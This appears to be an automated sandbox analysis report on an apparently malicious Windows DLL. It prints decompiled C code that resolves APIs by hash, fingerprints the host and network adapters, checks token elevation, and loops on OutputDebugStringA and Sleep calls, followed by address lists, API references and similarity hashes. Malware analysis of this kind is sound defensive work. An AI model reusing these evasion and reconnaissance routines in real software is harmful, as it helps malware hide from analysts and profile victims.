														__eflags = 0;
														do {
															_t269 = E6EBC2B00(_t553 + 0x1c, _t373);
															__eflags =  *((char*)(_t269 + 0x3c));
															if( *((char*)(_t269 + 0x3c)) == 0) {
																E6EB92A40(_t553 + 0x10, _t269);
																E6EBA8CA0(_t553 + 0x10);
															}
															_t373 = _t373 + 1;
															__eflags = _t373 -  *(_t553 + 0x1c);
														} while (_t373 <  *(_t553 + 0x1c));
													}
												}
												E6EBC2970(_t369, _t553 + 0x18, _t527);
												_t445 =  *(_t553 + 0x24);
												__eflags =  *(_t553 + 0x24);
												if( *(_t553 + 0x24) != 0) {
													E6EB92A20(_t445, 1);
												}
											} else {
												_t272 =  *0x6ebcb1d0; // 0x160fc90
												__eflags = ( *( *(_t272 + 4)) & 0x0000ffff) - 0x2d;
												if(__eflags != 0) {
													goto L104;
												}
											}
										}
									}
								}
								E6EBB8910(_t553 + 0x130, _t527, _t530);
								E6EBA8CA0(_t553 + 0x110);
								E6EBA8CA0(_t553 + 0x108);
								E6EBA7A70(_t553 + 0x128);
								__eflags = 0;
								return 0;
							} else {
								__eflags =  *0x6ebcb027 & 0x000000ff;
								if(( *0x6ebcb027 & 0x000000ff) == 0) {
									goto L87;
								} else {
									__eflags = _t369;
									if(_t369 != 0) {
										goto L87;
									} else {
										__eflags =  *((char*)(_t545 + 0xb)) - 0x20;
										_t517 =  ==  ? 0x7fe7dfa2 : 0xfd81b916;
										E6EB961B0(_t553 + 0x3c,  ==  ? 0x7fe7dfa2 : 0xfd81b916,  *((char*)(_t545 + 0xb)) - 0x20);
										E6EBA8810(_t553 + 0x18, 0x200);
										_t462 = E6EBA15C0(0xa1310f65, 0xc4d11e8a);
										__eflags = _t462;
										if(__eflags != 0) {
											_t309 =  *(_t553 + 0x18) >> 1;
											__eflags = _t309;
											_t517 =  *0x6ebcb1c4; // 0x6eb90000
											 *_t462(_t517,  *(_t553 + 0x18), _t309);
										}
										_push(0x80);
										_push(0);
										E6EBBA4E0(_t553 + 0x10, __eflags,  *((intOrPtr*)(_t553 + 0x20)), 1);
										E6EBBA520(_t553 + 8, _t517, _t553 + 0x1c, 0);
										__eflags =  *((char*)(_t553 + 0x10));
										if( *((char*)(_t553 + 0x10)) != 0) {
											E6EBBBE30(_t553 + 0xc, _t530);
										}
										__eflags = 0;
										E6EBA8CA0(_t553);
										_t532 = _t553 + 0x1a0;
										_t548 = _t553 + 0x2c;
										while(1) {
											E6EBA0B70(_t532, 0, 0x44);
											 *((intOrPtr*)(_t553 + 0x1ac)) = 0x44;
											E6EBA0B70(_t548, 0, 0x10);
											_t553 = _t553 + 0x18;
											E6EBA8810(_t553 + 0x4c, 0);
											_t301 = E6EBA96D0(E6EBA96D0(E6EBB0220(_t553 + 0x50,  *((intOrPtr*)(_t553 + 0x40)), 0), 0x20), 0x22);
											_t302 =  *0x6ebcb1d0; // 0x160fc90
											E6EBA96D0(E6EBB0220(_t301,  *_t302, 0), 0x22);
											_t305 = E6EBA15C0(0xa1310f65, 0x643f303c);
											__eflags = _t305;
											if(_t305 != 0) {
												break;
											}
											E6EBA8CA0(_t553 + 0x48);
										}
										_push(_t548);
										_push(_t532);
										_push(0);
										_push(0);
										_push(4);
										_push(0);
										_push(0);
										_push(0);
										_push( *((intOrPtr*)(_t553 + 0x68)));
										_push( *((intOrPtr*)(_t553 + 0x60)));
										asm("int3");
										return _t305;
									}
								}
							}
						} else {
							E6EBB8910(_t553 + 0x130, _t526, _t530);
							E6EBA8CA0(_t553 + 0x110);
							E6EBA8CA0(_t553 + 0x108);
							E6EBA7A70(_t553 + 0x128);
							__eflags = 0;
							return 0;
						}
					} else {
						_push(0x6ebcb1cc);
						_push(0);
						asm("int3");
						return _t192;
					}
				} else {
					asm("int3");
					return _t190;
				}
				goto L143;
			}

0x6eb951a7
0x6eb951a7
0x6eb951b7
0x6eb951bc
0x6eb951be
0x6eb951c5
0x6eb951d0
0x6eb951dc
0x6eb951e4
0x6eb951ec
0x6eb951f1
0x6eb951f8
0x00000000
0x00000000
0x6eb951fa
0x6eb95202
0x6eb95209
0x00000000
0x6eb9520b
0x6eb95212
0x6eb95212
0x00000000
0x6eb95209
0x6eb951fa
0x6eb95218
0x6eb95218
0x6eb9521a
0x6eb95221
0x6eb9522c
0x6eb95238
0x6eb95240
0x6eb95248
0x6eb9524d
0x6eb95254
0x00000000
0x00000000
0x6eb95256
0x6eb9525e
0x6eb95265
0x00000000
0x6eb95267
0x6eb9526e
0x6eb9526e
0x00000000
0x6eb95265
0x6eb95256
0x6eb95274
0x6eb95274
0x6eb95276
0x6eb9527d
0x6eb95288
0x6eb95294
0x6eb9529c
0x6eb952a4
0x6eb952a9
0x6eb952b0
0x00000000
0x00000000
0x6eb952b2
0x6eb952ba
0x6eb952c1
0x00000000
0x6eb952c3
0x6eb952ca
0x6eb952ca
0x00000000
0x6eb952c1
0x6eb952b2
0x6eb952d0
0x6eb952d0
0x6eb952d2
0x6eb952d9
0x6eb952e4
0x6eb952f0
0x6eb952f8
0x6eb95300
0x6eb95305
0x6eb9530c
0x00000000
0x00000000
0x6eb9530e
0x6eb95316
0x6eb9531d
0x00000000
0x6eb9531f
0x6eb95326
0x6eb95326
0x00000000
0x6eb9531d
0x6eb9530e
0x6eb9532c
0x6eb95333
0x6eb95338
0x6eb95344
0x6eb95350
0x6eb95358
0x6eb95efb
0x6eb95efb
0x6eb95f04
0x6eb95f06
0x6eb95f08
0x6eb95f22
0x6eb95f22
0x6eb95f2f
0x6eb95f34
0x6eb95f3b
0x6eb95f43
0x6eb95f4a
0x6eb95f4e
0x6eb95f52
0x6eb95f52
0x6eb95f54
0x6eb95f61
0x6eb95f67
0x6eb95f69
0x6eb95f6b
0x00000000
0x00000000
0x6eb95f75
0x6eb95f7f
0x6eb95f8a
0x6eb95f8c
0x6eb95f97
0x6eb95f97
0x6eb95fa9
0x6eb95fab
0x6eb95fad
0x6eb95fbd
0x6eb95fd0
0x6eb95fd0
0x6eb95fe1
0x6eb95fe4
0x6eb95fec
0x6eb95fee
0x6eb95ff0
0x6eb95ffd
0x6eb96017
0x6eb96017
0x6eb95ff0
0x00000000
0x6eb95f0a
0x6eb95f18
0x6eb95f1a
0x6eb95f1c
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb95f1c
0x00000000
0x6eb95f08
0x6eb95358
0x6eb9535e
0x6eb9535e
0x6eb95368
0x6eb9536f
0x6eb95377
0x6eb9538a
0x6eb9539b
0x6eb9539f
0x6eb953aa
0x6eb953aa
0x6eb953ae
0x6eb953b0
0x6eb953ba
0x6eb953cd
0x6eb953cf
0x6eb953cf
0x6eb953d4
0x6eb953d7
0x6eb953ba
0x6eb953e2
0x6eb953f0
0x6eb953fc
0x6eb9540b
0x6eb95412
0x6eb9541c
0x6eb95428
0x6eb9542d
0x6eb9542f
0x6eb95440
0x6eb95451
0x6eb95453
0x6eb95457
0x6eb95459
0x6eb95459
0x6eb9545e
0x6eb9546f
0x6eb95483
0x6eb95485
0x6eb95487
0x6eb95490
0x6eb95490
0x6eb9549c
0x6eb9549c
0x6eb954a5
0x6eb954b8
0x6eb954bd
0x6eb954bf
0x6eb954d9
0x6eb954ec
0x6eb954f1
0x6eb954f3
0x6eb95506
0x6eb9550b
0x6eb9551c
0x6eb95525
0x6eb95538
0x6eb95546
0x6eb95552
0x6eb95563
0x6eb9556a
0x6eb95576
0x6eb95589
0x6eb95590
0x6eb95599
0x6eb95599
0x6eb95599
0x6eb9559c
0x6eb954f5
0x6eb954f5
0x6eb954f5
0x6eb955a8
0x6eb955b4
0x6eb955b9
0x6eb955bb
0x6eb955c4
0x6eb955c4
0x00000000
0x00000000
0x00000000
0x6eb954c1
0x6eb954c8
0x6eb955bd
0x6eb955bd
0x6eb955bd
0x6eb955d2
0x6eb955e8
0x6eb955f4
0x6eb955f9
0x6eb95601
0x6eb95603
0x6eb95606
0x6eb95608
0x6eb9560f
0x6eb9560f
0x6eb95619
0x6eb95620
0x6eb95622
0x6eb9562e
0x6eb9562e
0x6eb95630
0x6eb95637
0x6eb95637
0x6eb95637
0x6eb95638
0x6eb9563a
0x00000000
0x00000000
0x6eb9563c
0x6eb9563f
0x00000000
0x6eb95641
0x6eb95641
0x6eb95648
0x6eb9564b
0x00000000
0x6eb9564d
0x6eb9560f
0x6eb9560f
0x6eb95619
0x6eb95620
0x6eb95622
0x6eb9562e
0x6eb9562e
0x6eb95630
0x00000000
0x6eb95630
0x6eb9560f
0x6eb9564b
0x00000000
0x6eb9563f
0x6eb9564f
0x00000000
0x6eb9564f
0x6eb9560f
0x6eb95652
0x6eb95652
0x6eb95656
0x6eb9569c
0x6eb9569e
0x6eb956ab
0x6eb956ad
0x6eb956b3
0x6eb956ba
0x6eb956c0
0x6eb956c5
0x6eb956c8
0x6eb956cb
0x6eb956ce
0x6eb956de
0x6eb956e3
0x6eb956e8
0x6eb956f7
0x6eb95700
0x6eb95705
0x6eb95707
0x6eb95724
0x6eb95729
0x6eb9572f
0x6eb9572f
0x6eb95738
0x6eb9573d
0x6eb9573d
0x6eb9573f
0x6eb9574b
0x6eb9574d
0x00000000
0x00000000
0x6eb95754
0x6eb95759
0x6eb9575a
0x6eb9575d
0x00000000
0x00000000
0x00000000
0x6eb9575d
0x6eb9575f
0x6eb95766
0x6eb95770
0x6eb95783
0x6eb9578a
0x6eb9579b
0x6eb9579b
0x6eb95709
0x6eb95709
0x6eb9570e
0x6eb95714
0x6eb95714
0x6eb9571d
0x6eb9571d
0x6eb957a6
0x6eb957a6
0x6eb956ce
0x6eb956ba
0x6eb956ad
0x6eb957b2
0x6eb957b5
0x6eb95b3c
0x6eb95b3c
0x6eb95b41
0x6eb95b43
0x6eb95b54
0x6eb95b54
0x6eb95b59
0x6eb95b5b
0x6eb95e33
0x6eb95e35
0x6eb95e3a
0x6eb95e3d
0x6eb95e3f
0x6eb95e47
0x6eb95e49
0x6eb95e41
0x6eb95e41
0x6eb95e41
0x6eb95e4e
0x6eb95e4e
0x6eb95b61
0x6eb95b6e
0x6eb95b71
0x6eb95e0b
0x6eb95e10
0x6eb95e1a
0x6eb95e21
0x6eb95e22
0x6eb95e29
0x6eb95b77
0x6eb95b86
0x6eb95b86
0x6eb95b45
0x6eb95b45
0x6eb95b4b
0x6eb95b50
0x6eb95b52
0x00000000
0x00000000
0x6eb95b52
0x6eb95b92
0x6eb95b97
0x6eb95b99
0x6eb95baa
0x6eb95baa
0x6eb95baf
0x6eb95bb1
0x6eb95eb0
0x6eb95eb2
0x6eb95eb7
0x6eb95eba
0x6eb95ebc
0x6eb95ec4
0x6eb95ec6
0x6eb95ebe
0x6eb95ebe
0x6eb95ebe
0x6eb95ecb
0x6eb95ecb
0x6eb95bb7
0x6eb95bc4
0x6eb95bc7
0x6eb95e62
0x6eb95e68
0x6eb95e73
0x6eb95e74
0x6eb95e7d
0x6eb95e84
0x6eb95e89
0x6eb95e8b
0x6eb95e93
0x6eb95e9e
0x6eb95ea6
0x6eb95ea6
0x6eb95bcd
0x6eb95bcf
0x6eb95be8
0x6eb95bf1
0x6eb95bf5
0x6eb95bf7
0x6eb95c05
0x6eb95c06
0x6eb95c12
0x6eb95c12
0x6eb95b9b
0x6eb95b9b
0x6eb95ba1
0x6eb95ba6
0x6eb95ba8
0x00000000
0x00000000
0x6eb95ba8
0x6eb95c1e
0x6eb95c21
0x6eb95c24
0x6eb95d87
0x6eb95d8e
0x6eb95ee4
0x6eb95ee4
0x6eb95d94
0x6eb95d9c
0x6eb95daa
0x6eb95dbd
0x6eb95dc4
0x6eb95dc9
0x6eb95c2a
0x6eb95c2a
0x6eb95c2d
0x6eb95cf0
0x6eb95cf3
0x6eb95cfb
0x6eb95d02
0x6eb95d04
0x6eb95d07
0x6eb95d0a
0x6eb95d0d
0x6eb95d1b
0x6eb95d25
0x6eb95d2a
0x6eb95d32
0x6eb95d34
0x6eb95d34
0x6eb95d36
0x6eb95d3e
0x6eb95d43
0x6eb95d47
0x6eb95d4f
0x6eb95d58
0x6eb95d58
0x6eb95d5d
0x6eb95d5e
0x6eb95d5e
0x6eb95d36
0x6eb95d6e
0x6eb95d73
0x6eb95d7a
0x6eb95d7c
0x6eb95d80
0x6eb95d80
0x6eb95d7c
0x6eb95c33
0x6eb95c33
0x6eb95c35
0x6eb95c3b
0x6eb95c42
0x6eb95c58
0x6eb95c5a
0x6eb95c5e
0x6eb95c60
0x6eb95c63
0x6eb95c66
0x6eb95c69
0x6eb95c77
0x6eb95c81
0x6eb95c8d
0x6eb95c8f
0x6eb95c96
0x6eb95c9b
0x6eb95ca0
0x6eb95ca2
0x6eb95ca2
0x6eb95ca4
0x6eb95ca9
0x6eb95cae
0x6eb95cb2
0x6eb95cba
0x6eb95cc3
0x6eb95cc3
0x6eb95cc8
0x6eb95cc9
0x6eb95cc9
0x6eb95ca4
0x6eb95ca0
0x6eb95cd3
0x6eb95cd8
0x6eb95cdc
0x6eb95cde
0x6eb95ce6
0x6eb95ce6
0x6eb95c44
0x6eb95c44
0x6eb95c4f
0x6eb95c52
0x00000000
0x00000000
0x6eb95c52
0x6eb95c42
0x6eb95c35
0x6eb95c2d
0x6eb95dd5
0x6eb95de1
0x6eb95ded
0x6eb95df9
0x6eb95dfe
0x6eb95e0a
0x6eb957bb
0x6eb957c2
0x6eb957c4
0x00000000
0x6eb957ca
0x6eb957ca
0x6eb957cc
0x00000000
0x6eb957d2
0x6eb957dc
0x6eb957e4
0x6eb957e7
0x6eb957f5
0x6eb95809
0x6eb9580b
0x6eb9580d
0x6eb95813
0x6eb95813
0x6eb9581a
0x6eb95821
0x6eb95821
0x6eb95823
0x6eb95828
0x6eb95834
0x6eb95844
0x6eb95849
0x6eb9584e
0x6eb95854
0x6eb95854
0x6eb95859
0x6eb9585e
0x6eb95863
0x6eb9586a
0x6eb9586e
0x6eb95873
0x6eb95878
0x6eb95888
0x6eb9588d
0x6eb95896
0x6eb958b7
0x6eb958be
0x6eb958d0
0x6eb958df
0x6eb958e4
0x6eb958e6
0x00000000
0x00000000
0x6eb95996
0x6eb95996
0x6eb958ec
0x6eb958ed
0x6eb958ee
0x6eb958ef
0x6eb958f0
0x6eb958f2
0x6eb958f3
0x6eb958f4
0x6eb958f5
0x6eb958f9
0x6eb958fd
0x6eb958fe
0x6eb958fe
0x6eb957cc
0x6eb957c4
0x6eb95658
0x6eb9565f
0x6eb9566b
0x6eb95677
0x6eb95683
0x6eb95688
0x6eb95694
0x6eb95694
0x6eb95431
0x6eb95431
0x6eb95436
0x6eb95437
0x6eb95438
0x6eb95438
0x6eb95414
0x6eb95414
0x6eb95415
0x6eb95415
0x00000000

APIs

OutputDebugStringA.KERNEL32(?), ref: 6EB951DC
Sleep.KERNEL32(0000000A), ref: 6EB951E4
OutputDebugStringA.KERNEL32(?), ref: 6EB95212
OutputDebugStringA.KERNEL32(?), ref: 6EB95238
Sleep.KERNEL32(0000000A), ref: 6EB95240
OutputDebugStringA.KERNEL32(?), ref: 6EB9526E
OutputDebugStringA.KERNEL32(?), ref: 6EB95294
Sleep.KERNEL32(0000000A), ref: 6EB9529C
OutputDebugStringA.KERNEL32(?), ref: 6EB952CA
OutputDebugStringA.KERNEL32(?), ref: 6EB952F0
Sleep.KERNEL32(0000000A), ref: 6EB952F8
OutputDebugStringA.KERNEL32(?), ref: 6EB95326
GetAdaptersInfo.IPHLPAPI(00000000,?,D93F3271,0A1EE59B,00000000,00002800,?,00000007,0000003F,588AB3EA,3B4CAFF7,588AB3EA,1BE15FEB,755AA3F0), ref: 6EB953AA

Strings

@, xrefs: 6EB95F8C

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DebugOutputString$Sleep$AdaptersInfo
String ID: @
API String ID: 1241301715-2766056989
Opcode ID: 8fb1e4d3fb0d90e813256507328b5f7b39170ee1654f7b0c15b793c92917824e
Instruction ID: 38b365965266fb34077832df05f5a8cb4441b9e660ce0dadda9b35f80807d250
Opcode Fuzzy Hash: 8fb1e4d3fb0d90e813256507328b5f7b39170ee1654f7b0c15b793c92917824e
Instruction Fuzzy Hash: 308118352593CA9FEB305FE0C8A4BEF7BE9EF86304F004838EA5656190EB7045059776

Uniqueness

Uniqueness Score: -1.00%

Function 6EBA3930, Relevance: 6.8, APIs: 4, Instructions: 834
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6EBA3930(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				void* _v32;
				intOrPtr _v36;
				char _v44;
				void* _v60;
				void* _v72;
				char _v76;
				char _v84;
				void* _v88;
				char _v92;
				void* _v96;
				long _v100;
				long _v104;
				long _v108;
				char _v112;
				void* _v116;
				char _v120;
				void* _v154;
				struct _SYSTEM_INFO _v156;
				signed int _v160;
				void* _v164;
				char _v168;
				void* _v172;
				char _v176;
				char _v180;
				void* _v184;
				char _v188;
				void* _v196;
				intOrPtr _v424;
				signed char _v428;
				signed char _v432;
				char _v496;
				void* _v500;
				void* _v504;
				char _v520;
				void* _v524;
				intOrPtr _t163;
				intOrPtr _t174;
				char _t175;
				intOrPtr* _t183;
				void* _t187;
				void* _t197;
				signed int _t201;
				char _t212;
				intOrPtr _t219;
				intOrPtr _t223;
				void* _t229;
				int _t234;
				intOrPtr _t241;
				void* _t244;
				void* _t247;
				void* _t255;
				void* _t263;
				void* _t264;
				int _t275;
				void* _t279;
				void* _t282;
				void* _t283;
				void* _t286;
				void* _t289;
				void* _t292;
				void* _t295;
				void* _t298;
				void* _t306;
				intOrPtr _t308;
				void* _t311;
				void* _t313;
				void* _t314;
				intOrPtr _t315;
				void* _t316;
				signed char _t322;
				intOrPtr* _t344;
				void** _t346;
				void* _t354;
				void* _t359;
				void* _t360;
				void* _t362;
				void* _t364;
				intOrPtr _t366;
				void* _t367;
				void* _t368;
				void* _t374;
				void* _t375;
				void* _t377;
				signed char _t378;
				void* _t381;
				intOrPtr _t382;
				intOrPtr _t383;
				void* _t384;
				void* _t386;
				void* _t387;
				void* _t388;
				void* _t389;
				intOrPtr _t392;
				intOrPtr _t394;
				void* _t395;
				intOrPtr _t398;
				intOrPtr _t400;
				intOrPtr* _t402;
				void* _t403;
				void* _t406;
				void* _t407;
				void* _t408;
				void* _t409;
				void* _t410;
				void* _t411;
				intOrPtr* _t413;
				signed char* _t416;
				intOrPtr* _t417;
				void* _t420;
				void* _t425;
				signed int _t429;
				void* _t432;
				void* _t433;
				void* _t434;
				signed int _t439;
				signed int _t442;
				void* _t444;
				intOrPtr* _t445;

				_t439 = _t442;
				_push(__esi);
				_push(__edi);
				_push(__ebx);
				_t444 = (_t442 & 0xfffffff0) - 0x1b4;
				_t313 = __ecx;
				_t163 =  *0x6ebcb1f0; // 0x17a0528
				if(_t163 == 0x9ccb2c38) {
					_push(0x30);
					_t163 = E6EBA1030();
					_t444 = _t444 + 4;
					 *0x6ebcb1f0 = _t163;
				}
				if( *((char*)(_t163 + 0xb)) == 0 || _t313 != 0) {
					_t416 =  &_v432;
					E6EBA0B70(_t416, 0, 0x11c);
					_t445 = _t444 + 0xc;
					_t377 =  *0x6ebcb1f4; // 0x17a1340
					_v432 = 0x11c;
					if(_t377 == 0xc139578) {
						 *0x6ebcb1f4 = 0;
						_t314 = 0;
						goto L11;
					} else {
						if(_t377 == 0) {
							_t314 = 0;
							goto L11;
						} else {
							_t314 = 0;
							do {
								_t375 = _t314;
								_t311 = _t375;
								while( *((intOrPtr*)(_t311 + _t377 + 8)) != 0x13e99f60) {
									_t375 = _t375 + 1;
									_t311 = _t311 + 0x18;
									if(_t375 < 0x10) {
										continue;
									} else {
										goto L10;
									}
									goto L236;
								}
								_t308 =  *((intOrPtr*)(_t311 + _t377 + 0x14));
								if(_t308 != 0) {
									L14:
									if(_t308 == 0) {
										L16:
										_t417 =  *0x6ebcb1f0; // 0x17a0528
										_t378 = _v432;
										_t322 = _v428;
										 *((intOrPtr*)(_t417 + 4)) = _v424;
										_t428 = (_t378 & 0x000000ff) << 4;
										 *(_t417 + 9) = _t322;
										 *(_t417 + 8) = _t378;
										 *((char*)(_t417 + 0xa)) = _v160 & 0x0000ffff;
										_t380 =  !=  ? 1 : _t314;
										 *((char*)(_t417 + 0xc)) =  !=  ? 1 : _t314;
										_t381 =  *0x6ebcb1f4; // 0x17a1340
										_v32 = _t314;
										 *_t417 = (_t322 & 0x000000ff) + ((_t378 & 0x000000ff) << 4) - 0x50;
										if(_t381 == 0xc139578) {
											 *0x6ebcb1f4 = 0;
											goto L22;
										} else {
											if(_t381 == 0) {
												L22:
												_push(0xa1310f65);
												_t428 = E6EBA7564(0xa1310f65);
												if(_t428 == 0) {
													if(E6EBA6C50(0xa1310f65) != 0) {
														_push(0xa1310f65);
														_t428 = E6EBA7564(0xa1310f65);
													}
												}
												if(_t428 != 0) {
													_t445 = _t445 + 0xfffffff8;
													_t413 = E6EBA67C8(_t428, 0x16ea6870);
													goto L25;
												}
											} else {
												do {
													_t374 = _t314;
													_t306 = _t374;
													while( *((intOrPtr*)(_t306 + _t381 + 8)) != 0x16ea6870) {
														_t374 = _t374 + 1;
														_t306 = _t306 + 0x18;
														if(_t374 < 0x10) {
															continue;
														} else {
															goto L21;
														}
														goto L27;
													}
													_t413 =  *((intOrPtr*)(_t306 + _t381 + 0x14));
													if(_t413 != 0) {
														L25:
														if(_t413 != 0) {
															 *_t413(0xffffffff,  &_v44);
														}
														goto L27;
													} else {
														goto L22;
													}
													goto L236;
													L21:
													asm("o16 nop [eax+eax]");
													_t22 = _t381 + 0x180; // 0x17a8e68
													_t381 =  *_t22;
												} while (_t381 != 0);
												goto L22;
											}
										}
										L27:
										_t174 =  *0x6ebcb1f0; // 0x17a0528
										if(_v36 == 0) {
											 *((char*)(_t174 + 0xb)) = 0x20;
										} else {
											 *((char*)(_t174 + 0xb)) = 0x40;
										}
										_t175 = E6EBA47B0(_t314, _t417, _t428);
										_t382 =  *0x6ebcb1f0; // 0x17a0528
										 *((char*)(_t382 + 0x28)) = _t175;
										if( *((intOrPtr*)(E6EBA3930(_t314, 0, _t417, _t428))) >= 0x10) {
											asm("movups xmm0, [0x6ebca130]");
											asm("movsd xmm1, [0x6ebca140]");
											asm("movups [esp+0x130], xmm0");
											asm("movsd [esp+0x140], xmm1");
											_t418 =  &_v120;
											_push(0);
											E6EBB9350( &_v120);
											_t429 = _t314;
											do {
												E6EBB9670( &_v120, E6EBB9650( &_v120) + 4);
												_t315 =  *((intOrPtr*)(_t445 + 0x130 + _t429 * 4));
												_t183 = E6EBB9640(_t418, E6EBB9650(_t418) + 0xfffffffc);
												_t429 = 1 + _t429;
												 *_t183 = _t315;
											} while (_t429 < 6);
											_push(0);
											_t314 = 0;
											E6EBBC550(0,  &_v160, _t429, _t439, _t418, 0x80000002);
											E6EBB9510(_t418);
											E6EBBC580( &_v172, _t382,  &_v84, 0x1cd1a4f3);
											_push(_v92);
											_t187 = E6EBBC790( &_v180, _t382);
											_t419 = _t187;
											E6EBB0B10( &_v84);
											if(_t187 != 0) {
												E6EBBC580( &_v168, _t382,  &(_v156.lpMinimumApplicationAddress), 0xc28d248b);
												_push(_v156.dwOemId);
												_t419 = E6EBBC790( &_v176, _t382);
												E6EBB0B10( &(_v156.lpMinimumApplicationAddress));
												E6EBBC580( &_v180, _t382,  &(_v156.dwPageSize), 0xead58213);
												_push(_v160);
												_t432 = E6EBBC790( &_v188, _t382);
												E6EBB0B10( &_v164);
												if(_t419 != 0) {
													if(_t419 == 5) {
														if(_t432 == 0) {
															E6EBA8CA0( &_v164);
															if(_v168 != 0) {
																_t406 = _v172;
																if(_t406 == 0 || _t406 == 0xffffffff) {
																	_t283 = 1;
																} else {
																	_t283 = 0;
																}
																if(_t283 == 0) {
																	E6EBBBF00(_t406);
																}
															}
															_v172 = 0;
															_t197 = 3;
															goto L64;
														} else {
															if(_t432 == 1) {
																E6EBA8CA0( &_v164);
																if(_v168 != 0) {
																	_t407 = _v172;
																	if(_t407 == 0 || _t407 == 0xffffffff) {
																		_t286 = 1;
																	} else {
																		_t286 = 0;
																	}
																	if(_t286 == 0) {
																		E6EBBBF00(_t407);
																	}
																}
																_v172 = 0;
																_t197 = 4;
																goto L64;
															} else {
																goto L56;
															}
														}
														goto L236;
													} else {
														if(_t419 != 2 || _t432 != 1) {
															goto L56;
														} else {
															E6EBA8CA0( &_v164);
															if(_v168 != 0) {
																_t409 = _v172;
																if(_t409 == 0 || _t409 == 0xffffffff) {
																	_t292 = 1;
																} else {
																	_t292 = 0;
																}
																if(_t292 == 0) {
																	E6EBBBF00(_t409);
																}
															}
															_v172 = 0;
															_t197 = 5;
														}
													}
												} else {
													if(_t432 != 0) {
														L56:
														E6EBA8CA0( &_v164);
														if(_v168 != 0) {
															_t408 = _v172;
															if(_t408 == 0 || _t408 == 0xffffffff) {
																_t289 = 1;
															} else {
																_t289 = _t314;
															}
															if(_t289 == 0) {
																E6EBBBF00(_t408);
															}
														}
														_v172 = 0;
														_t197 = _t314;
													} else {
														E6EBA8CA0( &_v164);
														if(_v168 != 0) {
															_t410 = _v172;
															if(_t410 == 0 || _t410 == 0xffffffff) {
																_t295 = 1;
															} else {
																_t295 = 0;
															}
															if(_t295 == 0) {
																E6EBBBF00(_t410);
															}
														}
														_v172 = 0;
														_t197 = 2;
													}
												}
											} else {
												E6EBA8CA0( &_v156);
												if(_v160 != 0) {
													_t411 = _v164;
													if(_t411 == 0 || _t411 == 0xffffffff) {
														_t298 = 1;
													} else {
														_t298 = 0;
													}
													if(_t298 == 0) {
														E6EBBBF00(_t411);
													}
												}
												_v164 = 0;
												_t197 = 1;
											}
										} else {
											_t197 = 1;
										}
										L64:
										_t383 =  *0x6ebcb1f0; // 0x17a0528
										 *(_t445 + 0x1ac) = 0;
										 *(_t383 + 0x24) = _t197;
										_t384 =  *0x6ebcb1f4; // 0x17a1340
										if(_t384 == 0xc139578) {
											 *0x6ebcb1f4 = 0;
											goto L70;
										} else {
											if(_t384 == 0) {
												L70:
												_push(0x3ab94787);
												_t432 = E6EBA7564(0x3ab94787);
												if(_t432 == 0) {
													if(E6EBA6C50(0x3ab94787) != 0) {
														_push(0x3ab94787);
														_t432 = E6EBA7564(0x3ab94787);
													}
												}
												if(_t432 == 0) {
													goto L87;
												} else {
													_t445 = _t445 + 0xfffffff8;
													_t402 = E6EBA67C8(_t432, 0xc17c5a6e);
													goto L73;
												}
											} else {
												do {
													_t368 = _t314;
													_t282 = _t368;
													while( *((intOrPtr*)(_t282 + _t384 + 8)) != 0xc17c5a6e) {
														_t368 = _t368 + 1;
														_t282 = _t282 + 0x18;
														if(_t368 < 0x10) {
															continue;
														} else {
															goto L69;
														}
														goto L88;
													}
													_t402 =  *((intOrPtr*)(_t282 + _t384 + 0x14));
													if(_t402 != 0) {
														L73:
														if(_t402 == 0) {
															L87:
															_t201 = _t314;
														} else {
															_push(_t445 + 0x1ac);
															_push(8);
															_push(0xffffffff);
															if( *_t402() == 0) {
																goto L87;
															} else {
																_t403 =  *0x6ebcb1f4; // 0x17a1340
																if(_t403 == 0xc139578) {
																	 *0x6ebcb1f4 = 0;
																	goto L81;
																} else {
																	if(_t403 == 0) {
																		L81:
																		_push(0x3ab94787);
																		_t432 = E6EBA7564(0x3ab94787);
																		if(_t432 == 0) {
																			if(E6EBA6C50(0x3ab94787) != 0) {
																				_push(0x3ab94787);
																				_t432 = E6EBA7564(0x3ab94787);
																			}
																		}
																		if(_t432 == 0) {
																			goto L87;
																		} else {
																			_t445 = _t445 + 0xfffffff8;
																			_t366 = E6EBA67C8(_t432, 0x2eeff4c6);
																			goto L84;
																		}
																	} else {
																		do {
																			_t367 = _t314;
																			_t279 = _t367;
																			while( *((intOrPtr*)(_t279 + _t403 + 8)) != 0x2eeff4c6) {
																				_t367 = _t367 + 1;
																				_t279 = _t279 + 0x18;
																				if(_t367 < 0x10) {
																					continue;
																				} else {
																					goto L80;
																				}
																				goto L88;
																			}
																			_t366 =  *((intOrPtr*)(_t279 + _t403 + 0x14));
																			if(_t366 != 0) {
																				L84:
																				if(_t366 == 0) {
																					goto L87;
																				} else {
																					_t275 = GetTokenInformation(_v88, 0x14,  &_v100, 4,  &_v104); // executed
																					if(_t275 == 0) {
																						goto L87;
																					} else {
																						_t201 = _t314 & 0xffffff00 | _v104 > 0x00000000;
																					}
																				}
																			} else {
																				goto L81;
																			}
																			goto L88;
																			L80:
																			asm("o16 nop [eax+eax]");
																			_t66 = _t403 + 0x180; // 0x17a8e68
																			_t403 =  *_t66;
																		} while (_t403 != 0);
																		goto L81;
																	}
																}
															}
														}
													} else {
														goto L70;
													}
													goto L88;
													L69:
													asm("o16 nop [eax+eax]");
													_t62 = _t384 + 0x180; // 0x17a8e68
													_t384 =  *_t62;
												} while (_t384 != 0);
												goto L70;
											}
										}
										L88:
										_t344 =  *0x6ebcb1f0; // 0x17a0528
										 *(_t344 + 0x29) = _t201;
										 *((intOrPtr*)(_t344 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x1d4));
										if( *_t344 >= 0x10) {
											_t386 =  *0x6ebcb1f4; // 0x17a1340
											 *(_t445 + 0x1a4) = 0;
											if(_t386 == 0xc139578) {
												 *0x6ebcb1f4 = 0;
												goto L100;
											} else {
												if(_t386 == 0) {
													L100:
													_push(0x3ab94787);
													_t432 = E6EBA7564(0x3ab94787);
